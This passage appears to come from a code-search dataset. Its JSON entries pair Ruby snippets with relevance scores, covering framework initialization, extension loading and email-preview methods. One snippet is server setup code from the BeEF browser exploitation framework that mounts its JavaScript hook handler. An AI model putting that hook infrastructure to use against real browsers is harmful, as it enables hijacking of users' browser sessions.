|locale, data|\n source_locale = locale if locale != source_locale\n cache.store(Tml::Language.cache_key(locale), data) if cache\n self.languages_by_locale[locale] = Tml::Language.new(data.merge(\n locale: locale,\n application: self\n ))\n end\n end\n\n if hash_value(extensions, :sources)\n self.sources_by_key ||= {}\n hash_value(extensions, :sources).each do |source, data|\n cache.store(Tml::Source.cache_key(source_locale, source), data) if cache\n source_key = \"#{source_locale}/#{source}\"\n self.sources_by_key[source_key] ||= Tml::Source.new(\n application: self,\n source: source\n )\n self.sources_by_key[source_key].update_translations(source_locale, data)\n end\n end\n end", "title": "" }, { "docid": "1d7ba8a2851432827c9188b354fdeda7", "score": "0.6011061", "text": "def after_initialize\n load_module\n end", "title": "" }, { "docid": "f104da8f84d326d438eee41fe03010ca", "score": "0.6007857", "text": "def initialize_framework_views\n view_paths = extension_loader.paths(:view).push(configuration.view_path)\n if ActionController::Base.view_paths.blank? || !ActionView::Base.cache_template_loading?\n ActionController::Base.view_paths = ActionView::Base.process_view_paths(view_paths)\n end\n if configuration.frameworks.include?(:action_mailer) && ActionMailer::Base.view_paths.blank? || !ActionView::Base.cache_template_loading?\n ActionMailer::Base.view_paths = ActionView::Base.process_view_paths(view_paths) if configuration.frameworks.include?(:action_mailer)\n end\n end", "title": "" }, { "docid": "b55fc72d72dbce475b1d6cff4a205e9a", "score": "0.6003085", "text": "def init!\n @logger = @config = @database_config = nil\n\n load_application_config\n load_database_config\n note \"Loading #{env} environment (#{Framework::VERSION})\"\n note \"Establishing database connection\"\n establish_database_connection\n require_dependencies 'config/initializers'\n load_application_files\n note \"Application has been initialized\"\n self\n end", "title": "" }, { "docid": "3815d906619bfb10dec1e3ae5db6591e", "score": "0.6002915", "text": "def load_environment\n require File.join(app_path, 'config', 'boot')\n require 'jruby/rack/rails/railtie'\n require File.join(app_path, 'config', 'environment')\n require 'jruby/rack/rails/extensions3'\n end", "title": "" }, { "docid": "aa31f713db71a46eb57350e80fe6bf54", "score": "0.60018265", "text": "def __extension_module__\n build_extension_module if extensions_values.any? || operations_values.any? || subresources_values.any?\n ensure\n singleton_class.class_eval \"attr_reader :__extension_module__\"\n end", "title": "" }, { "docid": "3949fcfe06584bb8deda3a8b1e823591", "score": "0.60014224", "text": "def setup!\n return unless File.directory?(controllers_path)\n path = File.realpath(controllers_path)\n $LOAD_PATH.unshift(path)\n Dir[\"#{path}/**/*.rb\"].each do |f|\n next if f.include?('_pb') # exclude if people include proto generated files in app/rpc\n logger.info \"- Loading gRPC service file: #{f}\"\n load File.realpath(f)\n end\n end", "title": "" }, { "docid": "a7f7dc35675580e991e2d42c459aa341", "score": "0.6000787", "text": "def load_extensions(*extensions)\n extensions.each do |ext|\n block = @__available_extensions__.fetch(ext) do\n raise ArgumentError, \"Unknown extension: #{ext.inspect}\"\n end\n unless @__loaded_extensions__.include?(ext)\n block.call\n @__loaded_extensions__ << ext\n end\n end\n end", "title": "" }, { "docid": "05db0ddd25ec346c7c92a5f1d40cbd98", "score": "0.59968865", "text": "def initialize_paths\n paths = [\n 'app/controllers',\n 'app/models'\n ].each do |path|\n load_path \"#{SERV_ROOT}/#{path}\"\n end\n \n load_path EXT_MODELS_DIR if defined?(EXT_MODELS_DIR)\n end", "title": "" }, { "docid": "a5b52e170eedc780045f7b029dadd9de", "score": "0.59929377", "text": "def run_boot_hooks\n # no-op hooks run when 'jruby/rack/rails/extensions' gets loaded\n end", "title": "" }, { "docid": "b9fa4c4ec977853b416151fb7f7468fd", "score": "0.598981", "text": "def initialize\n super\n\n @base = nil\n @root = Automation::FRAMEWORK_ROOT\n @items = []\n\n define\n end", "title": "" }, { "docid": "448071017641a13cb1b455dc058fb84b", "score": "0.59855676", "text": "def initialize_extension_partials\n @extension_partials = []\n end", "title": "" }, { "docid": "448071017641a13cb1b455dc058fb84b", "score": "0.59855676", "text": "def initialize_extension_partials\n @extension_partials = []\n end", "title": "" }, { "docid": "448071017641a13cb1b455dc058fb84b", "score": "0.59855676", "text": "def initialize_extension_partials\n @extension_partials = []\n end", "title": "" }, { "docid": "471f8230c23eae60e1740b43e110b4b4", "score": "0.5965625", "text": "def setup_application!\n return if @_configured\n settings.require_dependencies\n settings.default_filters!\n settings.default_routes!\n settings.default_errors!\n if defined?(I18n)\n I18n.load_path << settings.locale_path\n I18n.reload!\n end\n @_configured = true\n @_configured\n end", "title": "" }, { "docid": "52cf1c67386b7b92b0ce3f5d668185cc", "score": "0.59626955", "text": "def initialize_routing\n configuration.add_controller_paths(extension_loader.paths(:controller))\n configuration.add_eager_load_paths(extension_loader.paths(:eager_load))\n super\n end", "title": "" }, { "docid": "e70ea520d7e1432c083bdac435c496d4", "score": "0.5936728", "text": "def set_autoload_paths\n extension_loader.paths(:load).reverse_each do |path|\n configuration.autoload_paths.unshift path\n $LOAD_PATH.unshift path\n end\n super\n end", "title": "" }, { "docid": "c580a0968c8a1ca5e4fa9ca1106f8960", "score": "0.592242", "text": "def load_extensions(options={})\n @extensions = Extensions.get(options)\n log_concerns(@extensions.warnings)\n extension_settings = @settings.to_hash.dup\n @extensions.all.each do |extension|\n extension.logger = @logger\n extension.settings = extension_settings\n end\n end", "title": "" }, { "docid": "33c038f39b935377a07de21e0343db52", "score": "0.5913166", "text": "def initialize\n collect_init_scripts\n end", "title": "" }, { "docid": "5d914c9de8c3213611598499db04f163", "score": "0.5911858", "text": "def initialize\r\n bootstrap\r\n end", "title": "" }, { "docid": "f9c026099dd32321367726a5644ba3b5", "score": "0.5910483", "text": "def install_core_extensions\n\t\tRedleaf.log.debug \"Installing Array extensions\"\n\t\tArray.instance_eval { include Redleaf::ArrayExtensions }\n\t\tRedleaf.log.debug \"Installing String extensions\"\n\t\tString.instance_eval { include Redleaf::StringExtensions }\n\t\tRedleaf.log.debug \"Installing Kernel extensions\"\n\t\tKernel.instance_eval { include Redleaf::KernelExtensions }\n\tend", "title": "" }, { "docid": "535b9d19bfa0522c9d4ac560f8bfbcd6", "score": "0.5901813", "text": "def autoloaders; end", "title": "" }, { "docid": "1704b800e4787efb82ead404391154dd", "score": "0.590036", "text": "def load_extensions_in_path\n require 'rubygems'\n\n extensions = rubygems_latest_specs.select do |spec|\n spec_has_file?(spec, EXTENSION_FILE)\n end\n\n extensions.each do |spec|\n require spec.name\n end\n end", "title": "" }, { "docid": "d51f3b88a7d29c0f3e95f87874b318e4", "score": "0.5897693", "text": "def __extensions__\n @__extensions__ ||= @extensions.dup.tap do |exts|\n exts.unshift @base.__extension_module__ if @base.__extension_module__\n exts.push ::Module.new(&@extension_block) if @extension_block\n end\n end", "title": "" }, { "docid": "023b486740206d1e1b36f266dedafd1a", "score": "0.58920324", "text": "def load_extensions_in_path\n extensions = rubygems_latest_specs.select do |spec|\n spec_has_file?(spec, EXTENSION_FILE)\n end\n \n extensions.each do |spec|\n require spec.name\n end\n end", "title": "" }, { "docid": "3b82b15cae2526c3ca2e7ac66d441baa", "score": "0.58817863", "text": "def load!\n configuration.load_paths.each do |load_path|\n Dir[File.join(load_path, \"**/*.rb\")].each do |path|\n ActiveSupport::Dependencies.require_or_load path\n end\n end\n end", "title": "" }, { "docid": "b90b4789b8da828dc8229493e1a910b8", "score": "0.5864989", "text": "def load_core_extensions(*exts)\n exts.each do |ext|\n require \"core_ext/#{ext}\"\n end\n end", "title": "" }, { "docid": "718d819e8a3d58568e86ef014ec231dc", "score": "0.58616257", "text": "def process\n Divinity.configuration = configuration\n\n check_ruby_version\n install_gem_spec_stubs\n set_load_path\n add_gem_load_paths\n\n require_frameworks\n set_autoload_paths\n add_plugin_load_paths \n load_environment\n preload_frameworks\n\n initialize_cache\n initialize_framework_caches\n\n initialize_logger\n initialize_framework_logging\n\n initialize_dependency_mechanism\n initialize_whiny_nils\n\n initialize_i18n\n\n require 'divinity_engine'\n initialize_framework_settings\n initialize_framework_views\n\n add_support_load_paths\n\n check_for_unbuilt_gems\n\n load_gems\n load_plugins\n load_content_modules\n\n # pick up any gems that plugins depend on\n add_gem_load_paths\n load_gems\n check_gem_dependencies\n\n # bail out if gems are missing - note that check_gem_dependencies will have\n # already called abort() unless $gems_rake_task is set\n return unless gems_dependencies_loaded\n\n load_application_initializers\n\n # the framework is now fully initialized\n after_initialize\n\n # Observers are loaded after plugins in case Observers or observed models are modified by plugins.\n load_observers\n\n # Load view path cache\n load_view_paths\n\n # Load application classes\n load_application_classes\n\n # Disable dependency loading during request cycle\n disable_dependency_loading\n\n # Flag initialized\n Divinity.initialized = true\n end", "title": "" }, { "docid": "77d25b428396178170ea4ed2929fd7cc", "score": "0.5858758", "text": "def initialize_facade\n initialize_model\n initialize_view\n initialize_controller\n end", "title": "" }, { "docid": "02f558ac1b74f586182ddae822f6f283", "score": "0.5845805", "text": "def load_all\n register_plugins\n end", "title": "" }, { "docid": "fa8b20fe61ff889d543990d35bc46660", "score": "0.58408403", "text": "def init_dot_htx\n Pathname.descend(Dir.pwd).each{|path|\n if File.exist?(path + \".htx\")\n #TODO: load_htx(path)\n end\n }\n end", "title": "" }, { "docid": "33f5caa1154654e87342668c72b36844", "score": "0.58390146", "text": "def begin!\n ENV[\"RACK_ENV\"] ||= environment\n\n Bridgetown::Current.preloaded_configuration = Bridgetown::Configuration::Preflight.new\n Bridgetown::PluginManager.setup_bundler\n end", "title": "" }, { "docid": "6fcaad4cd3d6d7373456ecf5d4922ca3", "score": "0.5826102", "text": "def init\n # initialization code:\n end", "title": "" }, { "docid": "2ec5ff3c2fcf2aeeb3887d57b910de65", "score": "0.58069354", "text": "def initialize\n @loadpath = []\n populate_loadpath\n end", "title": "" }, { "docid": "fa65aabcc64f8866ce97e37782154279", "score": "0.5802341", "text": "def initialize\n add_kos_root_to_load_paths\n extend_reference_node\n @koslet_modules = load_koslets\n post_process_koslet_modules\n @hub_nodes = []\n end", "title": "" }, { "docid": "ba3d67682c3a6b2ceea7b2d5657f7978", "score": "0.579181", "text": "def prepare\n # Create http handler for the javascript hook file\n self.mount(\"#{@configuration.get(\"beef.http.hook_file\")}\", BeEF::Core::Handlers::HookedBrowsers.new)\n\n # Dynamically get the list of all the http handlers using the API and register them\n BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'mount_handler', self)\n\n # Rack mount points\n @rack_app = Rack::URLMap.new(@mounts)\n\n if not @http_server\n\n # Set the logging level of Thin to match the config \n Thin::Logging.silent = true\n if @configuration.get('beef.http.debug') == true\n Thin::Logging.silent = false\n Thin::Logging.debug = true\n end\n\n # Create the BeEF http server\n @http_server = Thin::Server.new(\n @configuration.get('beef.http.host'),\n @configuration.get('beef.http.port'),\n @rack_app)\n end\n end", "title": "" }, { "docid": "50a21d32046193d7a7fbeb46d9e9b6ac", "score": "0.57915616", "text": "def evt_extender_init ext\n @burp_extender = ext\n pp([:got_extender, ext]) if $DEBUG\n end", "title": "" }, { "docid": "5edf82e62def4fa74fcb0fec3a7ae3f8", "score": "0.5777123", "text": "def initialize(framework, opts)\n\t\tsuper\n\n\t\t# If this plugin is being loaded in the context of a console application\n\t\t# that uses the framework's console user interface driver, register\n\t\t# console dispatcher commands.\n\t\tadd_console_dispatcher(ConsoleCommandDispatcher)\n\n\t\tprint_status(\"Sample plugin loaded.\")\n\tend", "title": "" }, { "docid": "af92fa3e1132bc25c37c3adbf5dc1700", "score": "0.5775314", "text": "def load_extensions path\n result = false\n extension_path = (Pathname.new(path) + 'init.rb').expand_path\n multifile = true\n unless extension_path.file?\n multifile = false\n extension_path = Pathname.new(path =~ /\\.rb$/i ? path : path + \".rb\").expand_path\n end\n if extension_path.file?\n call_extension_point :extension_will_load, extension_path\n loader_list_backup = $:.dup\n begin\n $:.unshift(extension_path.dirname.expand_path)\n if require extension_path.to_s.gsub(/.rb$/i, \"\")\n result = true\n call_extension_point :extension_did_load, extension_path\n end\n ensure\n # this can cause problems with autoload\n $:.clear.unshift(*loader_list_backup)\n end\n end\n result\n end", "title": "" }, { "docid": "a8f09d4b4beb2e7015e8dc6e00c74561", "score": "0.57668674", "text": "def initialize_HTTP\n register_registrations_of(self.class)\n end", "title": "" }, { "docid": "1ed3324bf75341dc6b9cf59d60be0430", "score": "0.5763933", "text": "def load_needed_dependencies!; end", "title": "" }, { "docid": "1ed3324bf75341dc6b9cf59d60be0430", "score": "0.5763933", "text": "def load_needed_dependencies!; end", "title": "" }, { "docid": "7a0ed6ebe4c5970fb2f5978db0ec8ae5", "score": "0.57529396", "text": "def initialize_settings\n settings[:additional_load_paths] = []\n end", "title": "" }, { "docid": "177692bd10447034d81637de57d38b4e", "score": "0.57452434", "text": "def initialize_framework_views\n Engine::Controller::ViewPaths.default_view_paths << configuration.view_path\n end", "title": "" }, { "docid": "ff71c1822591591db507c11dd6fb774b", "score": "0.57368857", "text": "def preload_frameworks\n if configuration.preload_frameworks\n configuration.frameworks.each do |framework|\n # String#classify and #constantize aren't available yet.\n toplevel = Object.const_get(framework.to_s.gsub(/(?:^|_)(.)/) { $1.upcase })\n toplevel.load_all! if toplevel.respond_to?(:load_all!)\n end\n end\n end", "title": "" }, { "docid": "ff71c1822591591db507c11dd6fb774b", "score": "0.57368857", "text": "def preload_frameworks\n if configuration.preload_frameworks\n configuration.frameworks.each do |framework|\n # String#classify and #constantize aren't available yet.\n toplevel = Object.const_get(framework.to_s.gsub(/(?:^|_)(.)/) { $1.upcase })\n toplevel.load_all! if toplevel.respond_to?(:load_all!)\n end\n end\n end", "title": "" }, { "docid": "459f7e9d70a2c94f2970d10fa9b4ffd3", "score": "0.57306814", "text": "def initialize\n set_root_path!\n\n self.frameworks = default_frameworks\n self.load_paths = default_load_paths\n self.load_once_paths = default_load_once_paths\n self.eager_load_paths = default_eager_load_paths\n self.log_path = default_log_path\n self.log_level = default_log_level\n self.logger_name = default_logger_name\n self.view_path = default_view_path\n self.controller_paths = default_controller_paths\n self.preload_frameworks = default_preload_frameworks\n self.cache_classes = default_cache_classes\n self.dependency_loading = default_dependency_loading\n self.whiny_nils = default_whiny_nils\n self.plugins = default_plugins\n self.plugin_paths = default_plugin_paths\n self.plugin_locators = default_plugin_locators\n self.plugin_loader = default_plugin_loader\n self.content_module_paths = default_content_module_paths\n self.content_module_loader = default_content_module_loader\n self.database_configuration_file = default_database_configuration_file\n self.routes_configuration_file = default_routes_configuration_file\n self.gems = default_gems\n self.i18n = default_i18n\n\n self.active_support = Divinity::OrderedOptions.new\n end", "title": "" }, { "docid": "3ebe11288f6d0a13a1387dd6e95e1665", "score": "0.5723106", "text": "def initialize_autoloaded_paths(mods = ObjectSpace.each_object(Module)) # &do_autoload_block\n mods.each do |mod|\n # Module's constants are shared with Object. But if you set autoloads directly on Module, they\n # appear on multiple classes. So just skip, Object will take care of those.\n next if mod == Module\n # This happens with JRuby\n next unless mod.respond_to?(:constants)\n\n if mod.frozen?\n if mod.constants.any? { |name| mod.autoload?(name) }\n self.class.warn_frozen_module(mod)\n end\n next\n end\n\n mod.constants.each do |name|\n # JRuby can talk about deprecated constants here\n path = Tools.silence_warnings do\n mod.autoload?(name)\n end\n next unless path\n interceptor_path = setup_interceptor_for(mod, name, path)\n yield mod, name, interceptor_path\n end\n end\n end", "title": "" }, { "docid": "c8589ce2c850c8ae654763a6bd1ffb07", "score": "0.5722496", "text": "def extensions\n @extensions ||= Container.new\n end", "title": "" }, { "docid": "d6eab9c3964d963414aa93e140aba035", "score": "0.5722299", "text": "def load!\n unless loaded?\n ActiveSupport::Notifications.instrument BeforeLoadEvent, { active_admin_application: self } # before_load hook\n files.each { |file| load file } # load files\n namespace(default_namespace) # init AA resources\n ActiveSupport::Notifications.instrument AfterLoadEvent, { active_admin_application: self } # after_load hook\n @@loaded = true\n end\n end", "title": "" }, { "docid": "ba079d1bcf1856f69106066e9175df7c", "score": "0.57198817", "text": "def init_environment\n init_streamlined_constants\n # Streamlined depends on classic pagination, so we just require the plugin itself\n # to avoid deprecation warnings in 1.2.x or errors in 2.x.\n require_streamlined_plugin(:classic_pagination)\n end", "title": "" }, { "docid": "e09d6fdd2fa762fdfd411133fd646802", "score": "0.5716808", "text": "def init\n require File.expand_path( '../irbtools.rb', File.dirname(__FILE__) )\n end", "title": "" }, { "docid": "a8726ec31b2b03e596b94a2096587c77", "score": "0.57168067", "text": "def load_pre_config_files\n require 'singleton'\n \n require 'rubygems'\n require 'bundler'\n Bundler.require(:pre_config)\n \n require 'libs/speciator'\n end", "title": "" }, { "docid": "6a536abc50e31d6c6de5975d665f8875", "score": "0.5714124", "text": "def initialize_framework_settings\n configuration.frameworks.each do |framework|\n base_class = framework.to_s.camelize.constantize.const_get(\"Base\")\n\n configuration.send(framework).each do |setting, value|\n base_class.send(\"#{setting}=\", value)\n end\n end\n end", "title": "" }, { "docid": "15d2134e26027bc16b74da9bcff01951", "score": "0.57065845", "text": "def initialize(framework)\n\t\tself.framework = framework\n\t\tself.flush\n\tend", "title": "" }, { "docid": "d6a493e79bb53b9f1a7ea25a617577a5", "score": "0.57061875", "text": "def setup\n super()\n reload_core\n end", "title": "" }, { "docid": "83f1b970d0b5fd86d54767279ca978d1", "score": "0.5704762", "text": "def init\n Blazing::Commands.run(:init)\n end", "title": "" }, { "docid": "2132a27a333354e3e35a0ef0e070c0db", "score": "0.5697391", "text": "def load_core!\n logger.debug 'Loading Core definitions from Core::Warehouse'\n Occi::Core::Warehouse.bootstrap! self\n end", "title": "" }, { "docid": "46ddc333986c846d0494163ce85aa1f9", "score": "0.56923544", "text": "def load_all\n @internal_loader.load_all(self)\n end", "title": "" }, { "docid": "644e3cd0ceb87317d05f92eb694f81fc", "score": "0.56923205", "text": "def setup!\n init_classes\n init_authenticators\n init_represents_roles\n\n self.access_token_lifetime = DEFAULT_TOKEN_LIFETIME\n self.authorization_code_lifetime = DEFAULT_CODE_LIFETIME\n self.allowed_grant_types = SUPPORTED_GRANT_TYPES\n self.allowed_response_types = SUPPORTED_RESPONSE_TYPES\n self.issue_refresh_token = DEFAULT_ISSUE_REFRESH_TOKEN\n self.on_refresh = :nothing\n\n self.realm = DEFAULT_REALM\n end", "title": "" }, { "docid": "d4f66235ded92de3d23ff77e738443ff", "score": "0.5689479", "text": "def init(params)\n\t\trequire_relative 'modules/init_new'\n\t\tproceed_init\n\tend", "title": "" }, { "docid": "db60f9f6f5837c258e172be78062d192", "score": "0.56768346", "text": "def initialize_framework_settings\n configuration.frameworks.each do |framework|\n base_class = framework.to_s.camelize.constantize.const_get(\"Base\")\n\n configuration.send(framework).each do |setting, value|\n base_class.send(\"#{setting}=\", value)\n end\n end\n configuration.active_support.each do |setting, value|\n ActiveSupport.send(\"#{setting}=\", value)\n end\n end", "title": "" }, { "docid": "b499510ddf7d43e24f8aacc56906cf96", "score": "0.5675608", "text": "def init!(opts = {}, env = ENV)\n load!(framework: opts, env: env)\n\n init_logging!\n init_backend!\n\n logger.info(sprintf('Initializing Honeybadger Error Tracker for Ruby. Ship it! version=%s framework=%s', Honeybadger::VERSION, detected_framework))\n logger.warn('Development mode is enabled. Data will not be reported until you deploy your app.') if warn_development?\n\n self\n end", "title": "" }, { "docid": "5ba317cd4cdd97d822553cf4a41276b4", "score": "0.5673574", "text": "def add_loader(ext, loader); end", "title": "" }, { "docid": "4db8e650e4611b04c44ae4de1e9e95de", "score": "0.5673295", "text": "def initialize\n init_api\n end", "title": "" }, { "docid": "faee6bb9ef270539a47e2318ae43455c", "score": "0.56689215", "text": "def load_api_provider_extensions!\n if config.get(:credentials, :provider)\n base_ext = Bogo::Utility.camel(config.get(:credentials, :provider)).to_sym\n targ_ext = self.class.name.split(\"::\").last\n if ApiProvider.constants.include?(base_ext)\n base_module = ApiProvider.const_get(base_ext)\n ui.debug \"Loading core provider extensions via `#{base_module}`\"\n extend base_module\n if base_module.constants.include?(targ_ext)\n targ_module = base_module.const_get(targ_ext)\n ui.debug \"Loading targeted provider extensions via `#{targ_module}`\"\n extend targ_module\n end\n true\n end\n end\n end", "title": "" }, { "docid": "73831b3b545e951da3f01640fbe71a1a", "score": "0.5668421", "text": "def init!\n ActiveSupport.on_load(:action_controller) do\n ActionController::Base.send :include, Crumby::Helper::ControllerHelper\n end\n\n ActiveSupport.on_load(:action_view) do\n ActionView::Base.send :include, Crumby::Helper::ViewHelper\n end\n end", "title": "" }, { "docid": "f5f0e98a14b16f46341296d364e8794a", "score": "0.56671005", "text": "def __extension_module__\n @__extension_module__ ||= build_extensions_for_module!{|mod| __extend__ mod }\n end", "title": "" }, { "docid": "706a6181fa5a3f5f540bfb54294ee7b4", "score": "0.56464416", "text": "def load!\n load_root_path!\n load_config!\n load_home_directory!\n load_box!\n load_config!\n self.class.check_virtualbox!\n load_vm!\n load_ssh!\n load_active_list!\n load_commands!\n self\n end", "title": "" }, { "docid": "13eb92a02b16bdbbeb1076f1762b63ed", "score": "0.5641069", "text": "def initialize\n # get the hooks, if they exist let them all do their after initialization work.\n hooks = self.class.instance_variable_get(:@_rucola_initialize_hooks)\n hooks.each { |hook| self.instance_eval(&hook) } unless hooks.nil?\n \n # also call after_init for custom initialization code.\n send :after_init if respond_to? :after_init # TODO: test\n end", "title": "" }, { "docid": "7d30673f492dd9d4a23fdb0b19f7fbd2", "score": "0.56397754", "text": "def fetch_resources_init\n fetch_resources\n end", "title": "" }, { "docid": "f3c223ad299f03b48551ebee6ae8fe2f", "score": "0.56356394", "text": "def framework\r\n @framework\r\n end", "title": "" } ]
bfbcddcc918ef40f76e5014276919dbc
Preview this email at
[ { "docid": "fb6dcd01d02d85d02a8bb25964e86189", "score": "0.0", "text": "def decline\n ChangeRequestMailer.decline(ChangeRequest.first, User.first, \"http://localhost:3000\")\n end", "title": "" } ]
[ { "docid": "f4f01bf0c4f6341760a71d13d7b6cc72", "score": "0.7309514", "text": "def preview_email\n email = UserMailer.emailing(@emailing)\n mail_inliner = Roadie::Rails::MailInliner.new(email, Rails.application.config.roadie)\n mail = mail_inliner.execute\n\n mail.html_part.decoded.gsub /http:\\/\\/coursavenue.com\\/UNSUB_PLACEHOLDER/, '*|UNSUB|*'\n end", "title": "" }, { "docid": "b31f6e281e5c32188de3858f7eb3861b", "score": "0.6896699", "text": "def preview(options={})\n building_message('preview', options)\n builder_for('preview').build!\n end", "title": "" }, { "docid": "2af71f794b481e1818b5a8cac93937f4", "score": "0.683609", "text": "def retrieve_email_template_preview(request)\n start.uri('/api/email/template/preview')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "338cee58ab4d317268fb98d884b2205b", "score": "0.6835658", "text": "def retrieve_email_template_preview(request)\n start.uri('/api/email/template/preview')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "174960a76a8ec79314b2574c08e062a9", "score": "0.6800857", "text": "def show\n redirect_to new_email_template_preview_path(@email_template)\n end", "title": "" }, { "docid": "78a6d7dbc8759b407f0544c9c93b5fe6", "score": "0.66427416", "text": "def preview_test(content = 'Random content')\n @content = content\n mail subject: 'preview_test'\n end", "title": "" }, { "docid": "0638e6ba2509725495518708610c9547", "score": "0.6585557", "text": "def show_raw\n I18n.with_locale @email_locale do\n @mail = @preview_class.new.send(params[:mail_action])\n RailsEmailPreview.run_before_render(@mail)\n if @part_type == 'raw'\n body = \"<pre id='raw_message'>#{html_escape(@mail.to_s)}</pre>\"\n else\n if @mail.multipart?\n body_part = (@part_type =~ /html/ ? @mail.html_part : @mail.text_part)\n else\n body_part = @mail\n end\n body = body_part.body\n if body_part.content_type =~ /plain/\n body = \"<pre id='message_body'>#{body}</body>\"\n end\n end\n render text: body, layout: false\n end\n end", "title": "" }, { "docid": "16730a748daa60684b80edbd8e5d6faa", "score": "0.6380506", "text": "def show_raw\n I18n.with_locale @email_locale do\n @mail = preview_mail(edit_links: (@part_type == 'text/html'))\n RailsEmailPreview.run_before_render(@mail, @preview_class.name, @mail_action)\n if @part_type == 'raw'\n body = \"<pre id='raw_message'>#{html_escape(@mail.to_s)}</pre>\"\n else\n if @mail.multipart?\n body_part = (@part_type =~ /html/ ? @mail.html_part : @mail.text_part)\n else\n body_part = @mail\n end\n body = body_part.body\n if body_part.content_type =~ /plain/\n body = \"<pre id='message_body'>#{body}</body>\"\n end\n end\n render text: body, layout: false\n end\n end", "title": "" }, { "docid": "e07a80174c8ef71b3a168593dc09eb44", "score": "0.6352956", "text": "def preview_url\n \"#{Fedena.hostname}/finance_settings/fees_receipt_preview?printer_type=#{self.receipt_printer_template}\"\n end", "title": "" }, { "docid": "d435d8817d2e9ce84f63a2b1494f6ced", "score": "0.63425547", "text": "def preview\n # TODO\n end", "title": "" }, { "docid": "0797c0eb85f9f54742e234851d9bd50e", "score": "0.6254175", "text": "def previewInvitation()\n data = {\n iclaname: @iclaname,\n iclaemail: @iclaemail,\n pmc: @pmc,\n votelink: @votelink,\n noticelink: @noticelink\n }\n\n @disabled = true\n @alert = nil\n post 'validate', data do |response|\n @disabled = false\n @alert = response.error\n @memberEmail = response.memberEmail\n @pmcEmail = response.pmcEmail\n @invitation = response.invitation\n @token = response.token\n document.getElementById(response.focus).focus() if response.focus\n jQuery('#invitation-preview').modal(:show) unless @alert\n end\n end", "title": "" }, { "docid": "5b81eae78c6d80f2b6b44e017ead7c0d", "score": "0.62497187", "text": "def previewInvitation()\n data = {\n iclaname: @iclaname,\n iclaemail: @iclaemail,\n pmc: @pmc,\n votelink: @votelink\n }\n\n @disabled = true\n @alert = nil\n post 'validate', data do |response|\n @disabled = false\n @alert = response.error\n @userEmail = response.userEmail\n @pmcEmail = response.pmcEmail\n @invitation = response.invitation\n @token = response.token\n document.getElementById(response.focus).focus() if response.focus\n jQuery('#invitation-preview').modal(:show) unless @alert\n end\n end", "title": "" }, { "docid": "00a6d70b8bd88b76e0be0416857327d4", "score": "0.6238215", "text": "def gift_message_preview(sender_external_id, receiver_external_id)\n raise \"Method not implemented!\"\n end", "title": "" }, { "docid": "376aaca9fa2e15468363906d37eea90f", "score": "0.6233981", "text": "def retrieve_message_template_preview(request)\n start.uri('/api/message/template/preview')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "af8279cf0cdfa5c24618eb4023bea4db", "score": "0.6220736", "text": "def preview()\n if @phase == :invite\n previewInvitation()\n elsif @phase == :discuss\n previewDiscussion()\n elsif @phase == :vote\n previewVote()\n end\n end", "title": "" }, { "docid": "5e3a048d2fbd3eb6971329c146a5d6b3", "score": "0.613904", "text": "def preview\n end", "title": "" }, { "docid": "25f93f20195d3fd35daedad7f5b0c09f", "score": "0.6116219", "text": "def preview\n end", "title": "" }, { "docid": "25f93f20195d3fd35daedad7f5b0c09f", "score": "0.6116219", "text": "def preview\n end", "title": "" }, { "docid": "dd6aa98ece6241968904093b56980355", "score": "0.6113204", "text": "def preview; end", "title": "" }, { "docid": "dd6aa98ece6241968904093b56980355", "score": "0.61111975", "text": "def preview; end", "title": "" }, { "docid": "dd6aa98ece6241968904093b56980355", "score": "0.61111975", "text": "def preview; end", "title": "" }, { "docid": "0a13dbf037f9c9155cd43d77cc515a8e", "score": "0.6053922", "text": "def preview_recipient(subject)\n message_div(subject).div(:class=>\"inbox_name\").span.text\n end", "title": "" }, { "docid": "bea2f08ac6c764c4fb659b7e748b941e", "score": "0.6037526", "text": "def preview\n frm.button(:value=>\"Preview\").click\n PreviewDiscussionTopic.new(@browser)\n end", "title": "" }, { "docid": "bea2f08ac6c764c4fb659b7e748b941e", "score": "0.6037526", "text": "def preview\n frm.button(:value=>\"Preview\").click\n PreviewDiscussionTopic.new(@browser)\n end", "title": "" }, { "docid": "007b8607d0ff1d162d40a0406e83a119", "score": "0.5964197", "text": "def preview(body = {})\n @client.invoices.preview(body)\n end", "title": "" }, { "docid": "ce803899ba411373ddbaf7e8e9ce28e3", "score": "0.59358656", "text": "def send_preview(recipients, personalize=\"fallback\")\n options = { :body => {\n :PreviewRecipients => recipients.kind_of?(String) ?\n [ recipients ] : recipients,\n :Personalize => personalize }.to_json }\n post \"sendpreview\", options\n end", "title": "" }, { "docid": "0be89313ba7a6c9b6c2feab3d3dd96cc", "score": "0.5916554", "text": "def preview\n %(<blockquote>#{title}\n #{message.at(0..100)}#{message.length > 100 ? '...' : ''}</blockquote> )\n end", "title": "" }, { "docid": "9cc99683af4dc42641fd1a599d064ab9", "score": "0.5835695", "text": "def preview_body(subject)\n message_div(subject).div(:class=>\"inbox_excerpt\").text\n end", "title": "" }, { "docid": "8436fcb400ee3b0b42fb243a53f203ca", "score": "0.5830576", "text": "def preview\n frm.button(:value=>\"Preview\").click\n AssignmentsPreview.new(@browser)\n end", "title": "" }, { "docid": "089ad760be1aa61d4a24eb8082149bda", "score": "0.5798438", "text": "def send_resume\n ResumeMailer.send_resume\n end", "title": "" }, { "docid": "a181145e8cec601ac2e00de53e8e75a9", "score": "0.5735005", "text": "def preview_text\n return @preview_text\n end", "title": "" }, { "docid": "47c371933f0699fccf50316c670edc18", "score": "0.5715644", "text": "def preview_in_browser\n raise ActionController::RoutingError, 'Not Found' if !all_conditions_respected? || !@newsletter.already_sent?\n @content = @newsletter.content\n\n I18n.with_locale(@newsletter_user.lang) do\n render 'newsletter_mailer/send_newsletter'\n end\n end", "title": "" }, { "docid": "63978d82f9bcaf2f0cdcefa86d182be8", "score": "0.5715509", "text": "def email_view\n html = \"\"\n html << (ActionController::Base.helpers.link_to self[:email], ApplicationController.helpers.edit_url(self.class.base_class, self))\n html.html_safe\n end", "title": "" }, { "docid": "b9155eb9fccadbed9d4e6611c4f78a0d", "score": "0.56996673", "text": "def preview\n return @preview\n end", "title": "" }, { "docid": "75348a59de0e72f04b39a0d269bbbe81", "score": "0.5682205", "text": "def preview\n\t\t@template = ExtractionFormTemplate.find(params[:eft_id])\n\t\t@eft_id = 